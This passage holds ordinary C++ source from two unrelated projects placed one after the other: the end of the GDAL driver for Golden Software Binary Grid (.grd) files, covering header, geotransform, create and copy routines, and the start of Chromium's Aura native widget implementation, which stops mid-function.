CPLE_FileIO, "Unable to read minimum Y value.\n" ); return NULL; } CPL_LSBPTR64( &dfTemp ); poBand->dfMinY = dfTemp; if( VSIFReadL( (void *)&dfTemp, 8, 1, poDS->fp ) != 1 ) { delete poDS; CPLError( CE_Failure, CPLE_FileIO, "Unable to read maximum Y value.\n" ); return NULL; } CPL_LSBPTR64( &dfTemp ); poBand->dfMaxY = dfTemp; if( VSIFReadL( (void *)&dfTemp, 8, 1, poDS->fp ) != 1 ) { delete poDS; CPLError( CE_Failure, CPLE_FileIO, "Unable to read minimum Z value.\n" ); return NULL; } CPL_LSBPTR64( &dfTemp ); poBand->dfMinZ = dfTemp; if( VSIFReadL( (void *)&dfTemp, 8, 1, poDS->fp ) != 1 ) { delete poDS; CPLError( CE_Failure, CPLE_FileIO, "Unable to read maximum Z value.\n" ); return NULL; } CPL_LSBPTR64( &dfTemp ); poBand->dfMaxZ = dfTemp; poDS->SetBand( 1, poBand ); /* -------------------------------------------------------------------- */ /* Initialize any PAM information. */ /* -------------------------------------------------------------------- */ poDS->SetDescription( poOpenInfo->pszFilename ); poDS->TryLoadXML(); /* -------------------------------------------------------------------- */ /* Check for external overviews. */ /* -------------------------------------------------------------------- */ poDS->oOvManager.Initialize( poDS, poOpenInfo->pszFilename, poOpenInfo->GetSiblingFiles() ); return poDS; } /************************************************************************/ /* GetGeoTransform() */ /************************************************************************/ CPLErr GSBGDataset::GetGeoTransform( double *padfGeoTransform ) { if( padfGeoTransform == NULL ) return CE_Failure; GSBGRasterBand *poGRB = dynamic_cast<GSBGRasterBand *>(GetRasterBand( 1 )); if( poGRB == NULL ) { padfGeoTransform[0] = 0; padfGeoTransform[1] = 1; padfGeoTransform[2] = 0; padfGeoTransform[3] = 0; padfGeoTransform[4] = 0; padfGeoTransform[5] = 1; return CE_Failure; } /* check if we have a PAM GeoTransform stored */ CPLPushErrorHandler( CPLQuietErrorHandler ); CPLErr eErr = GDALPamDataset::GetGeoTransform( padfGeoTransform ); CPLPopErrorHandler(); if( eErr == CE_None ) return CE_None; /* calculate pixel size first */ padfGeoTransform[1] = (poGRB->dfMaxX - poGRB->dfMinX)/(nRasterXSize - 1); padfGeoTransform[5] = (poGRB->dfMinY - poGRB->dfMaxY)/(nRasterYSize - 1); /* then calculate image origin */ padfGeoTransform[0] = poGRB->dfMinX - padfGeoTransform[1] / 2; padfGeoTransform[3] = poGRB->dfMaxY - padfGeoTransform[5] / 2; /* tilt/rotation does not supported by the GS grids */ padfGeoTransform[4] = 0.0; padfGeoTransform[2] = 0.0; return CE_None; } /************************************************************************/ /* SetGeoTransform() */ /************************************************************************/ CPLErr GSBGDataset::SetGeoTransform( double *padfGeoTransform ) { if( eAccess == GA_ReadOnly ) { CPLError( CE_Failure, CPLE_NoWriteAccess, "Unable to set GeoTransform, dataset opened read only.\n" ); return CE_Failure; } GSBGRasterBand *poGRB = dynamic_cast<GSBGRasterBand *>(GetRasterBand( 1 )); if( poGRB == NULL || padfGeoTransform == NULL) return CE_Failure; /* non-zero transform 2 or 4 or negative 1 or 5 not supported natively */ CPLErr eErr = CE_None; /*if( padfGeoTransform[2] != 0.0 || padfGeoTransform[4] != 0.0 || padfGeoTransform[1] < 0.0 || padfGeoTransform[5] < 0.0 ) eErr = GDALPamDataset::SetGeoTransform( padfGeoTransform ); if( eErr != CE_None ) return eErr;*/ double dfMinX = padfGeoTransform[0] + padfGeoTransform[1] / 2; double dfMaxX = padfGeoTransform[1] * (nRasterXSize - 0.5) + padfGeoTransform[0]; double dfMinY = padfGeoTransform[5] * (nRasterYSize - 0.5) + padfGeoTransform[3]; double dfMaxY = padfGeoTransform[3] + padfGeoTransform[5] / 2; eErr = WriteHeader( fp, (GInt16) poGRB->nRasterXSize, (GInt16) poGRB->nRasterYSize, dfMinX, dfMaxX, dfMinY, dfMaxY, poGRB->dfMinZ, poGRB->dfMaxZ ); if( eErr == CE_None ) { poGRB->dfMinX = dfMinX; poGRB->dfMaxX = dfMaxX; poGRB->dfMinY = dfMinY; poGRB->dfMaxY = dfMaxY; } return eErr; } /************************************************************************/ /* WriteHeader() */ /************************************************************************/ CPLErr GSBGDataset::WriteHeader( VSILFILE *fp, GInt16 nXSize, GInt16 nYSize, double dfMinX, double dfMaxX, double dfMinY, double dfMaxY, double dfMinZ, double dfMaxZ ) { if( VSIFSeekL( fp, 0, SEEK_SET ) != 0 ) { CPLError( CE_Failure, CPLE_FileIO, "Unable to seek to start of grid file.\n" ); return CE_Failure; } if( VSIFWriteL( (void *)"DSBB", 1, 4, fp ) != 4 ) { CPLError( CE_Failure, CPLE_FileIO, "Unable to write signature to grid file.\n" ); return CE_Failure; } GInt16 nTemp = CPL_LSBWORD16(nXSize); if( VSIFWriteL( (void *)&nTemp, 2, 1, fp ) != 1 ) { CPLError( CE_Failure, CPLE_FileIO, "Unable to write raster X size to grid file.\n" ); return CE_Failure; } nTemp = CPL_LSBWORD16(nYSize); if( VSIFWriteL( (void *)&nTemp, 2, 1, fp ) != 1 ) { CPLError( CE_Failure, CPLE_FileIO, "Unable to write raster Y size to grid file.\n" ); return CE_Failure; } double dfTemp = dfMinX; CPL_LSBPTR64( &dfTemp ); if( VSIFWriteL( (void *)&dfTemp, 8, 1, fp ) != 1 ) { CPLError( CE_Failure, CPLE_FileIO, "Unable to write minimum X value to grid file.\n" ); return CE_Failure; } dfTemp = dfMaxX; CPL_LSBPTR64( &dfTemp ); if( VSIFWriteL( (void *)&dfTemp, 8, 1, fp ) != 1 ) { CPLError( CE_Failure, CPLE_FileIO, "Unable to write maximum X value to grid file.\n" ); return CE_Failure; } dfTemp = dfMinY; CPL_LSBPTR64( &dfTemp ); if( VSIFWriteL( (void *)&dfTemp, 8, 1, fp ) != 1 ) { CPLError( CE_Failure, CPLE_FileIO, "Unable to write minimum Y value to grid file.\n" ); return CE_Failure; } dfTemp = dfMaxY; CPL_LSBPTR64( &dfTemp ); if( VSIFWriteL( (void *)&dfTemp, 8, 1, fp ) != 1 ) { CPLError( CE_Failure, CPLE_FileIO, "Unable to write maximum Y value to grid file.\n" ); return CE_Failure; } dfTemp = dfMinZ; CPL_LSBPTR64( &dfTemp ); if( VSIFWriteL( (void *)&dfTemp, 8, 1, fp ) != 1 ) { CPLError( CE_Failure, CPLE_FileIO, "Unable to write minimum Z value to grid file.\n" ); return CE_Failure; } dfTemp = dfMaxZ; CPL_LSBPTR64( &dfTemp ); if( VSIFWriteL( (void *)&dfTemp, 8, 1, fp ) != 1 ) { CPLError( CE_Failure, CPLE_FileIO, "Unable to write maximum Z value to grid file.\n" ); return CE_Failure; } return CE_None; } /************************************************************************/ /* Create() */ /************************************************************************/ GDALDataset *GSBGDataset::Create( const char * pszFilename, int nXSize, int nYSize, int nBands, GDALDataType eType, char **papszParmList ) { if( nXSize <= 0 || nYSize <= 0 ) { CPLError( CE_Failure, CPLE_IllegalArg, "Unable to create grid, both X and Y size must be " "non-negative.\n" ); return NULL; } else if( nXSize > SHRT_MAX || nYSize > SHRT_MAX ) { CPLError( CE_Failure, CPLE_IllegalArg, "Unable to create grid, Golden Software Binary Grid format " "only supports sizes up to %dx%d. %dx%d not supported.\n", SHRT_MAX, SHRT_MAX, nXSize, nYSize ); return NULL; } if( eType != GDT_Byte && eType != GDT_Float32 && eType != GDT_UInt16 && eType != GDT_Int16 ) { CPLError( CE_Failure, CPLE_AppDefined, "Golden Software Binary Grid only supports Byte, Int16, " "Uint16, and Float32 datatypes. Unable to create with " "type %s.\n", GDALGetDataTypeName( eType ) ); return NULL; } VSILFILE *fp = VSIFOpenL( pszFilename, "w+b" ); if( fp == NULL ) { CPLError( CE_Failure, CPLE_OpenFailed, "Attempt to create file '%s' failed.\n", pszFilename ); return NULL; } CPLErr eErr = WriteHeader( fp, (GInt16) nXSize, (GInt16) nYSize, 0.0, nXSize, 0.0, nYSize, 0.0, 0.0 ); if( eErr != CE_None ) { VSIFCloseL( fp ); return NULL; } float fVal = fNODATA_VALUE; CPL_LSBPTR32( &fVal ); for( int iRow = 0; iRow < nYSize; iRow++ ) { for( int iCol=0; iCol<nXSize; iCol++ ) { if( VSIFWriteL( (void *)&fVal, 4, 1, fp ) != 1 ) { VSIFCloseL( fp ); CPLError( CE_Failure, CPLE_FileIO, "Unable to write grid cell. Disk full?\n" ); return NULL; } } } VSIFCloseL( fp ); return (GDALDataset *)GDALOpen( pszFilename, GA_Update ); } /************************************************************************/ /* CreateCopy() */ /************************************************************************/ GDALDataset *GSBGDataset::CreateCopy( const char *pszFilename, GDALDataset *poSrcDS, int bStrict, char **papszOptions, GDALProgressFunc pfnProgress, void *pProgressData ) { if( pfnProgress == NULL ) pfnProgress = GDALDummyProgress; int nBands = poSrcDS->GetRasterCount(); if (nBands == 0) { CPLError( CE_Failure, CPLE_NotSupported, "GSBG driver does not support source dataset with zero band.\n"); return NULL; } else if (nBands > 1) { if( bStrict ) { CPLError( CE_Failure, CPLE_NotSupported, "Unable to create copy, Golden Software Binary Grid " "format only supports one raster band.\n" ); return NULL; } else CPLError( CE_Warning, CPLE_NotSupported, "Golden Software Binary Grid format only supports one " "raster band, first band will be copied.\n" ); } GDALRasterBand *poSrcBand = poSrcDS->GetRasterBand( 1 ); if( poSrcBand->GetXSize() > SHRT_MAX || poSrcBand->GetYSize() > SHRT_MAX ) { CPLError( CE_Failure, CPLE_IllegalArg, "Unable to create grid, Golden Software Binary Grid format " "only supports sizes up to %dx%d. %dx%d not supported.\n", SHRT_MAX, SHRT_MAX, poSrcBand->GetXSize(), poSrcBand->GetYSize() ); return NULL; } if( !pfnProgress( 0.0, NULL, pProgressData ) ) { CPLError( CE_Failure, CPLE_UserInterrupt, "User terminated\n" ); return NULL; } VSILFILE *fp = VSIFOpenL( pszFilename, "w+b" ); if( fp == NULL ) { CPLError( CE_Failure, CPLE_OpenFailed, "Attempt to create file '%s' failed.\n", pszFilename ); return NULL; } GInt16 nXSize = (GInt16) poSrcBand->GetXSize(); GInt16 nYSize = (GInt16) poSrcBand->GetYSize(); double adfGeoTransform[6]; poSrcDS->GetGeoTransform( adfGeoTransform ); double dfMinX = adfGeoTransform[0] + adfGeoTransform[1] / 2; double dfMaxX = adfGeoTransform[1] * (nXSize - 0.5) + adfGeoTransform[0]; double dfMinY = adfGeoTransform[5] * (nYSize - 0.5) + adfGeoTransform[3]; double dfMaxY = adfGeoTransform[3] + adfGeoTransform[5] / 2; CPLErr eErr = WriteHeader( fp, nXSize, nYSize, dfMinX, dfMaxX, dfMinY, dfMaxY, 0.0, 0.0 ); if( eErr != CE_None ) { VSIFCloseL( fp ); return NULL; } /* -------------------------------------------------------------------- */ /* Copy band data. */ /* -------------------------------------------------------------------- */ float *pfData = (float *)VSIMalloc2( nXSize, sizeof( float ) ); if( pfData == NULL ) { VSIFCloseL( fp ); CPLError( CE_Failure, CPLE_OutOfMemory, "Unable to create copy, unable to allocate line buffer.\n" ); return NULL; } int bSrcHasNDValue; float fSrcNoDataValue = (float) poSrcBand->GetNoDataValue( &bSrcHasNDValue ); double dfMinZ = DBL_MAX; double dfMaxZ = -DBL_MAX; for( GInt16 iRow = nYSize - 1; iRow >= 0; iRow-- ) { eErr = poSrcBand->RasterIO( GF_Read, 0, iRow, nXSize, 1, pfData, nXSize, 1, GDT_Float32, 0, 0 ); if( eErr != CE_None ) { VSIFCloseL( fp ); VSIFree( pfData ); return NULL; } for( int iCol=0; iCol<nXSize; iCol++ ) { if( bSrcHasNDValue && pfData[iCol] == fSrcNoDataValue ) { pfData[iCol] = fNODATA_VALUE; } else { if( pfData[iCol] > dfMaxZ ) dfMaxZ = pfData[iCol]; if( pfData[iCol] < dfMinZ ) dfMinZ = pfData[iCol]; } CPL_LSBPTR32( pfData+iCol ); } if( VSIFWriteL( (void *)pfData, 4, nXSize, fp ) != static_cast<unsigned>(nXSize) ) { VSIFCloseL( fp ); VSIFree( pfData ); CPLError( CE_Failure, CPLE_FileIO, "Unable to write grid row. Disk full?\n" ); return NULL; } if( !pfnProgress( static_cast<double>(nYSize - iRow)/nYSize, NULL, pProgressData ) ) { VSIFCloseL( fp ); VSIFree( pfData ); CPLError( CE_Failure, CPLE_UserInterrupt, "User terminated" ); return NULL; } } VSIFree( pfData ); /* write out the min and max values */ eErr = WriteHeader( fp, nXSize, nYSize, dfMinX, dfMaxX, dfMinY, dfMaxY, dfMinZ, dfMaxZ ); if( eErr != CE_None ) { VSIFCloseL( fp ); return NULL; } VSIFCloseL( fp ); GDALPamDataset *poDS = (GDALPamDataset *)GDALOpen( pszFilename, GA_Update ); if (poDS) { poDS->CloneInfo( poSrcDS, GCIF_PAM_DEFAULT ); } return poDS; } /************************************************************************/ /* GDALRegister_GSBG() */ /************************************************************************/ void GDALRegister_GSBG() { GDALDriver *poDriver; if( GDALGetDriverByName( "GSBG" ) == NULL ) { poDriver = new GDALDriver(); poDriver->SetDescription( "GSBG" ); poDriver->SetMetadataItem( GDAL_DCAP_RASTER, "YES" ); poDriver->SetMetadataItem( GDAL_DMD_LONGNAME, "Golden Software Binary Grid (.grd)" ); poDriver->SetMetadataItem( GDAL_DMD_HELPTOPIC, "frmt_various.html#GSBG" ); poDriver->SetMetadataItem( GDAL_DMD_EXTENSION, "grd" ); poDriver->SetMetadataItem( GDAL_DMD_CREATIONDATATYPES, "Byte Int16 UInt16 Float32" ); poDriver->SetMetadataItem( GDAL_DCAP_VIRTUALIO, "YES" ); poDriver->pfnIdentify = GSBGDataset::Identify; poDriver->pfnOpen = GSBGDataset::Open; poDriver->pfnCreate = GSBGDataset::Create; poDriver->pfnCreateCopy = GSBGDataset::CreateCopy; GetGDALDriverManager()->RegisterDriver( poDriver ); } }
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "ui/views/widget/native_widget_aura.h" #include "base/bind.h" #include "base/strings/string_util.h" #include "third_party/skia/include/core/SkRegion.h" #include "ui/aura/client/activation_client.h" #include "ui/aura/client/aura_constants.h" #include "ui/aura/client/cursor_client.h" #include "ui/aura/client/drag_drop_client.h" #include "ui/aura/client/focus_client.h" #include "ui/aura/client/screen_position_client.h" #include "ui/aura/client/window_move_client.h" #include "ui/aura/client/window_tree_client.h" #include "ui/aura/client/window_types.h" #include "ui/aura/env.h" #include "ui/aura/root_window.h" #include "ui/aura/window.h" #include "ui/aura/window_observer.h" #include "ui/base/dragdrop/os_exchange_data.h" #include "ui/base/ui_base_types.h" #include "ui/compositor/layer.h" #include "ui/events/event.h" #include "ui/gfx/canvas.h" #include "ui/gfx/font.h" #include "ui/gfx/screen.h" #include "ui/native_theme/native_theme_aura.h" #include "ui/views/corewm/window_util.h" #include "ui/views/drag_utils.h" #include "ui/views/ime/input_method_bridge.h" #include "ui/views/views_delegate.h" #include "ui/views/widget/desktop_aura/desktop_native_widget_aura.h" #include "ui/views/widget/drop_helper.h" #include "ui/views/widget/native_widget_delegate.h" #include "ui/views/widget/root_view.h" #include "ui/views/widget/tooltip_manager_aura.h" #include "ui/views/widget/widget_aura_utils.h" #include "ui/views/widget/widget_delegate.h" #include "ui/views/widget/window_reorderer.h" #if defined(OS_WIN) #include "base/win/scoped_gdi_object.h" #include "base/win/win_util.h" #include "ui/base/l10n/l10n_util_win.h" #include "ui/views/widget/desktop_aura/desktop_root_window_host_win.h" #endif #if defined(USE_X11) && !defined(OS_CHROMEOS) #include "ui/views/widget/desktop_aura/desktop_root_window_host_x11.h" #endif #if !defined(OS_CHROMEOS) #include "ui/views/widget/desktop_aura/desktop_root_window_host.h" #endif namespace views { namespace { void SetRestoreBounds(aura::Window* window, const gfx::Rect& bounds) { window->SetProperty(aura::client::kRestoreBoundsKey, new gfx::Rect(bounds)); } } // namespace //////////////////////////////////////////////////////////////////////////////// // NativeWidgetAura, public: NativeWidgetAura::NativeWidgetAura(internal::NativeWidgetDelegate* delegate) : delegate_(delegate), window_(new aura::Window(this)), ownership_(Widget::InitParams::NATIVE_WIDGET_OWNS_WIDGET), close_widget_factory_(this), can_activate_(true), destroying_(false), cursor_(gfx::kNullCursor), saved_window_state_(ui::SHOW_STATE_DEFAULT) { aura::client::SetFocusChangeObserver(window_, this); aura::client::SetActivationChangeObserver(window_, this); } // static gfx::Font NativeWidgetAura::GetWindowTitleFont() { #if defined(OS_WIN) NONCLIENTMETRICS ncm; base::win::GetNonClientMetrics(&ncm); l10n_util::AdjustUIFont(&(ncm.lfCaptionFont)); base::win::ScopedHFONT caption_font(CreateFontIndirect(&(ncm.lfCaptionFont))); return gfx::Font(caption_font); #else return gfx::Font(); #endif } // static void NativeWidgetAura::RegisterNativeWidgetForWindow( internal::NativeWidgetPrivate* native_widget, aura::Window* window) { window->set_user_data(native_widget); } //////////////////////////////////////////////////////////////////////////////// // NativeWidgetAura, internal::NativeWidgetPrivate implementation: void NativeWidgetAura::InitNativeWidget(const Widget::InitParams& params) { // Aura needs to know which desktop (Ash or regular) will manage this widget. // See Widget::InitParams::context for details. DCHECK(params.parent || params.context); ownership_ = params.ownership; RegisterNativeWidgetForWindow(this, window_); window_->SetType(GetAuraWindowTypeForWidgetType(params.type)); window_->SetProperty(aura::client::kShowStateKey, params.show_state); if (params.type == Widget::InitParams::TYPE_BUBBLE) aura::client::SetHideOnDeactivate(window_, true); window_->SetTransparent( params.opacity == Widget::InitParams::TRANSLUCENT_WINDOW); window_->Init(params.layer_type); if (params.type == Widget::InitParams::TYPE_CONTROL) window_->Show(); delegate_->OnNativeWidgetCreated(false); gfx::Rect window_bounds = params.bounds; gfx::NativeView parent = params.parent; gfx::NativeView context = params.context; if (!params.child) { // Set up the transient child before the window is added. This way the // LayoutManager knows the window has a transient parent. if (parent && parent->type() != aura::client::WINDOW_TYPE_UNKNOWN) { parent->AddTransientChild(window_); if (!context) context = parent; parent = NULL; } // SetAlwaysOnTop before SetParent so that always-on-top container is used. SetAlwaysOnTop(params.keep_on_top); // Make sure we have a real |window_bounds|. if (parent && window_bounds == gfx::Rect()) { // If a parent is specified but no bounds are given, // use the origin of the parent's display so that the widget // will be added to the same display as the parent. gfx::Rect bounds = gfx::Screen::GetScreenFor(parent)-> GetDisplayNearestWindow(parent).bounds(); window_bounds.set_origin(bounds.origin()); } } if (parent) { parent->AddChild(window_); } else { aura::client::ParentWindowWithContext( window_, context->GetRootWindow(), window_bounds); } // Wait to set the bounds until we have a parent. That way we can know our // true state/bounds (the LayoutManager may enforce a particular // state/bounds). if (IsMaximized()) SetRestoreBounds(window_, window_bounds); else SetBounds(window_bounds); window_->set_ignore_events(!params.accept_events); can_activate_ = params.can_activate && params.type != Widget::InitParams::TYPE_CONTROL && params.type != Widget::InitParams::TYPE_TOOLTIP; DCHECK(GetWidget()->GetRootView()); if (params.type != Widget::InitParams::TYPE_TOOLTIP) tooltip_manager_.reset(new views::TooltipManagerAura(GetWidget())); drop_helper_.reset(new DropHelper(GetWidget()->GetRootView())); if (params.type != Widget::InitParams::TYPE_TOOLTIP && params.type != Widget::InitParams::TYPE_POPUP) { aura::client::SetDragDropDelegate(window_, this); } aura::client::SetActivationDelegate(window_, this); window_->SetProperty(aura::client::kCanMaximizeKey, GetWidget()->widget_delegate()->CanMaximize()); window_->SetProperty(aura::client::kCanResizeKey, GetWidget()->widget_delegate()->CanResize()); window_reorderer_.reset(new WindowReorderer(window_, GetWidget()->GetRootView())); } NonClientFrameView* NativeWidgetAura::CreateNonClientFrameView() { return NULL; } bool NativeWidgetAura::ShouldUseNativeFrame() const { // There is only one frame type for aura. return false; } void NativeWidgetAura::FrameTypeChanged() { // This is called when the Theme has changed; forward the event to the root // widget. GetWidget()->ThemeChanged(); GetWidget()->GetRootView()->SchedulePaint(); } Widget* NativeWidgetAura::GetWidget() { return delegate_->AsWidget(); } const Widget* NativeWidgetAura::GetWidget() const { return delegate_->AsWidget(); } gfx::NativeView NativeWidgetAura::GetNativeView() const { return window_; } gfx::NativeWindow NativeWidgetAura::GetNativeWindow() const { return window_; } Widget* NativeWidgetAura::GetTopLevelWidget() { NativeWidgetPrivate* native_widget = GetTopLevelNativeWidget(GetNativeView()); return native_widget ? native_widget->GetWidget() : NULL; } const ui::Compositor* NativeWidgetAura::GetCompositor() const { return window_ ? window_->layer()->GetCompositor() : NULL; } ui::Compositor* NativeWidgetAura::GetCompositor() { return window_ ? window_->layer()->GetCompositor() : NULL; } ui::Layer* NativeWidgetAura::GetLayer() { return window_ ? window_->layer() : NULL; } void NativeWidgetAura::ReorderNativeViews() { window_reorderer_->ReorderChildWindows(); } void NativeWidgetAura::ViewRemoved(View* view) { DCHECK(drop_helper_.get() != NULL); drop_helper_->ResetTargetViewIfEquals(view); } void NativeWidgetAura::SetNativeWindowProperty(const char* name, void* value) { if (window_) window_->SetNativeWindowProperty(name, value); } void* NativeWidgetAura::GetNativeWindowProperty(const char* name) const { return window_ ? window_->GetNativeWindowProperty(name) : NULL; } TooltipManager* NativeWidgetAura::GetTooltipManager() const { return tooltip_manager_.get(); } void NativeWidgetAura::SetCapture() { if (window_) window_->SetCapture(); } void NativeWidgetAura::ReleaseCapture() { if (window_) window_->ReleaseCapture(); } bool NativeWidgetAura::HasCapture() const { return window_ && window_->HasCapture(); } InputMethod* NativeWidgetAura::CreateInputMethod() { if (!window_) return NULL; aura::Window* root_window = window_->GetRootWindow(); ui::InputMethod* host = root_window->GetProperty(aura::client::kRootWindowInputMethodKey); return new InputMethodBridge(this, host, true); } internal::InputMethodDelegate* NativeWidgetAura::GetInputMethodDelegate() { return this; } void NativeWidgetAura::CenterWindow(const gfx::Size& size) { if (!window_) return; gfx::Rect parent_bounds(window_->parent()->GetBoundsInRootWindow()); // When centering window, we take the intersection of the host and // the parent. We assume the root window represents the visible // rect of a single screen. gfx::Rect work_area = gfx::Screen::GetScreenFor(window_)-> GetDisplayNearestWindow(window_).work_area(); aura::client::ScreenPositionClient* screen_position_client = aura::client::GetScreenPositionClient(window_->GetRootWindow()); if (screen_position_client) { gfx::Point origin = work_area.origin(); screen_position_client->ConvertPointFromScreen(window_->GetRootWindow(), &origin); work_area.set_origin(origin); } parent_bounds.Intersect(work_area); // If |window_|'s transient parent's bounds are big enough to fit it, then we // center it with respect to the transient parent. if (window_->transient_parent()) { gfx::Rect transient_parent_rect = window_->transient_parent()-> GetBoundsInRootWindow(); transient_parent_rect.Intersect(work_area); if (transient_parent_rect.height() >= size.height() && transient_parent_rect.width() >= size.width()) parent_bounds = transient_parent_rect; } gfx::Rect window_bounds( parent_bounds.x() + (parent_bounds.width() - size.width()) / 2, parent_bounds.y() + (parent_bounds.height() - size.height()) / 2, size.width(), size.height()); // Don't size the window bigger than the parent, otherwise the user may not be // able to close or move it. window_bounds.AdjustToFit(parent_bounds); // Convert the bounds back relative to the parent. gfx::Point origin = window_bounds.origin(); aura::Window::ConvertPointToTarget(window_->GetRootWindow(), window_->parent(), &origin); window_bounds.set_origin(origin); window_->SetBounds(window_bounds); } void NativeWidgetAura::GetWindowPlacement( gfx::Rect* bounds, ui::WindowShowState* show_state) const { // The interface specifies returning restored bounds, not current bounds. *bounds = GetRestoredBounds(); *show_state = window_ ? window_->GetProperty(aura::client::kShowStateKey) : ui::SHOW_STATE_DEFAULT; } bool NativeWidgetAura::SetWindowTitle(const string16& title) { if (!window_) return false; if (window_->title() == title) return false; window_->set_title(title); return true; } void NativeWidgetAura::SetWindowIcons(const gfx::ImageSkia& window_icon, const gfx::ImageSkia& app_icon) { // Aura doesn't have window icons. } void NativeWidgetAura::InitModalType(ui::ModalType modal_type) { if (modal_type != ui::MODAL_TYPE_NONE) window_->SetProperty(aura::client::kModalKey, modal_type); } gfx::Rect NativeWidgetAura::GetWindowBoundsInScreen() const { return window_ ? window_->GetBoundsInScreen() : gfx::Rect(); } gfx::Rect NativeWidgetAura::GetClientAreaBoundsInScreen() const { // View-to-screen coordinate system transformations depend on this returning // the full window bounds, for example View::ConvertPointToScreen(). return window_ ? window_->GetBoundsInScreen() : gfx::Rect(); } gfx::Rect NativeWidgetAura::GetRestoredBounds() const { if (!window_) return gfx::Rect(); // Restored bounds should only be relevant if the window is minimized or // maximized. However, in some places the code expects GetRestoredBounds() // to return the current window bounds if the window is not in either state. if (IsMinimized() || IsMaximized() || IsFullscreen()) { // Restore bounds are in screen coordinates, no need to convert. gfx::Rect* restore_bounds = window_->GetProperty(aura::client::kRestoreBoundsKey); if (restore_bounds) return *restore_bounds; } return window_->GetBoundsInScreen(); } void NativeWidgetAura::SetBounds(const gfx::Rect& bounds) { if (!window_) return; aura::Window* root = window_->GetRootWindow(); if (root) { aura::client::ScreenPositionClient* screen_position_client = aura::client::GetScreenPositionClient(root); if (screen_position_client) { gfx::Display dst_display = gfx::Screen::GetScreenFor(window_)->GetDisplayMatching(bounds); screen_position_client->SetBounds(window_, bounds, dst_display); return; } } window_->SetBounds(bounds); } void NativeWidgetAura::SetSize(const gfx::Size& size) { if (window_) window_->SetBounds(gfx::Rect(window_->bounds().origin(), size)); } void NativeWidgetAura::StackAbove(gfx::NativeView native_view) { if (window_ && window_->parent() && window_->parent() == native_view->parent()) window_->parent()->StackChildAbove(window_, native_view); } void NativeWidgetAura::StackAtTop() { if (window_) window_->parent()->StackChildAtTop(window_); } void NativeWidgetAura::StackBelow(gfx::NativeView native_view) { if (window_ && window_->parent() && window_->parent() == native_view->parent()) window_->parent()->StackChildBelow(window_, native_view); } void NativeWidgetAura::SetShape(gfx::NativeRegion region) { // No need for this. Just delete and ignore. delete region; } void NativeWidgetAura::Close() { // |window_| may already be deleted by parent window. This can happen // when this widget is child widget or has transient parent // and ownership is WIDGET_OWNS_NATIVE_WIDGET. DCHECK(window_ || ownership_ == Widget::InitParams::WIDGET_OWNS_NATIVE_WIDGET); if (window_) { window_->SuppressPaint(); Hide(); window_->SetProperty(aura::client::kModalKey, ui::MODAL_TYPE_NONE); } if (!close_widget_factory_.HasWeakPtrs()) { base::MessageLoop::current()->PostTask( FROM_HERE, base::Bind(&NativeWidgetAura::CloseNow, close_widget_factory_.GetWeakPtr())); } } void NativeWidgetAura::CloseNow() { delete window_; } void NativeWidgetAura::Show() { ShowWithWindowState(ui::SHOW_STATE_INACTIVE); } void NativeWidgetAura::Hide() { if (window_) window_->Hide(); } void NativeWidgetAura::ShowMaximizedWithBounds( const gfx::Rect& restored_bounds) { SetRestoreBounds(window_, restored_bounds); ShowWithWindowState(ui::SHOW_STATE_MAXIMIZED); } void NativeWidgetAura::ShowWithWindowState(ui::WindowShowState state) { if (!window_) return; if (state == ui::SHOW_STATE_MAXIMIZED || state == ui::SHOW_STATE_FULLSCREEN) window_->SetProperty(aura::client::kShowStateKey, state); window_->Show(); if (can_activate_) { if (state != ui::SHOW_STATE_INACTIVE) Activate(); // SetInitialFocus() should be always be called, even for // SHOW_STATE_INACTIVE. When a frameless modal dialog is created by // a widget of TYPE_WINDOW_FRAMELESS, Widget::Show() will call into // this function with the window state SHOW_STATE_INACTIVE, // SetInitialFoucs() has to be called so that the dialog can get focus. // This also matches NativeWidgetWin which invokes SetInitialFocus // regardless of show state. SetInitialFocus(); } } bool NativeWidgetAura::IsVisible() const { return window_ && window_->IsVisible(); } void NativeWidgetAura::Activate() { if (!window_) return; // We don't necessarily have a root window yet. This can happen with // constrained windows. if (window_->GetRootWindow()) { aura::client::GetActivationClient(window_->GetRootWindow())->ActivateWindow( window_); } if (window_->GetProperty(aura::client::kDrawAttentionKey)) window_->SetProperty(aura::client::kDrawAttentionKey, false); } void NativeWidgetAura::Deactivate() { if (!window_) return; aura::client::GetActivationClient(window_->GetRootWindow())->DeactivateWindow( window_); } bool NativeWidgetAura::IsActive() const { return window_ && corewm::IsActiveWindow(window_); } void NativeWidgetAura::SetAlwaysOnTop(bool on_top) { if (window_) window_->SetProperty(aura::client::kAlwaysOnTopKey, on_top); } bool NativeWidgetAura::IsAlwaysOnTop() const { return window_ && window_->GetProperty(aura::client::kAlwaysOnTopKey); } void NativeWidgetAura::Maximize() { if (window_) window_->SetProperty(aura::client::kShowStateKey, ui::SHOW_STATE_MAXIMIZED); } void NativeWidgetAura::Minimize() { if (window_) window_->SetProperty(aura::client::kShowStateKey, ui::SHOW_STATE_MINIMIZED); } bool NativeWidgetAura::IsMaximized() const { return window_ && window_->GetProperty(aura::client::kShowStateKey) == ui::SHOW_STATE_MAXIMIZED; } bool NativeWidgetAura::IsMinimized() const { return window_ && window_->GetProperty(aura::client::kShowStateKey) == ui::SHOW_STATE_MINIMIZED; } void NativeWidgetAura::Restore() { if (window_) window_->SetProperty(aura::client::kShowStateKey, ui::SHOW_STATE_NORMAL); } void NativeWidgetAura::SetFullscreen(bool fullscreen) { if (!window_ || IsFullscreen() == fullscreen) return; // Nothing to do. // Save window state before entering full screen so that it could restored // when exiting full screen. if (fullscreen) saved_window_state_ = window_->GetProperty(aura::client::kShowStateKey); window_->SetProperty( aura::client::kShowStateKey, fullscreen ? ui::SHOW_STATE_FULLSCREEN : saved_window_state_); } bool NativeWidgetAura::IsFullscreen() const { return window_ && window_->GetProperty(aura::client::kShowStateKey) == ui::SHOW_STATE_FULLSCREEN; } void NativeWidgetAura::SetOpacity(unsigned char opacity) { if (window_) window_->layer()->SetOpacity(opacity / 255.0); } void NativeWidgetAura::SetUseDragFrame(bool use_drag_frame) { NOTIMPLEMENTED(); } void NativeWidgetAura::FlashFrame(bool flash) { if (window_) window_->SetProperty(aura::client::kDrawAttentionKey, flash); } void NativeWidgetAura::RunShellDrag(View* view, const ui::OSExchangeData& data, const gfx::Point& location, int operation, ui::DragDropTypes::DragEventSource source) { if (window_) views::RunShellDrag(window_, data, location, operation, source); } void NativeWidgetAura::SchedulePaintInRect(const gfx::Rect& rect) { if (window_) window_->SchedulePaintInRect(rect); } void NativeWidgetAura::SetCursor(gfx::NativeCursor 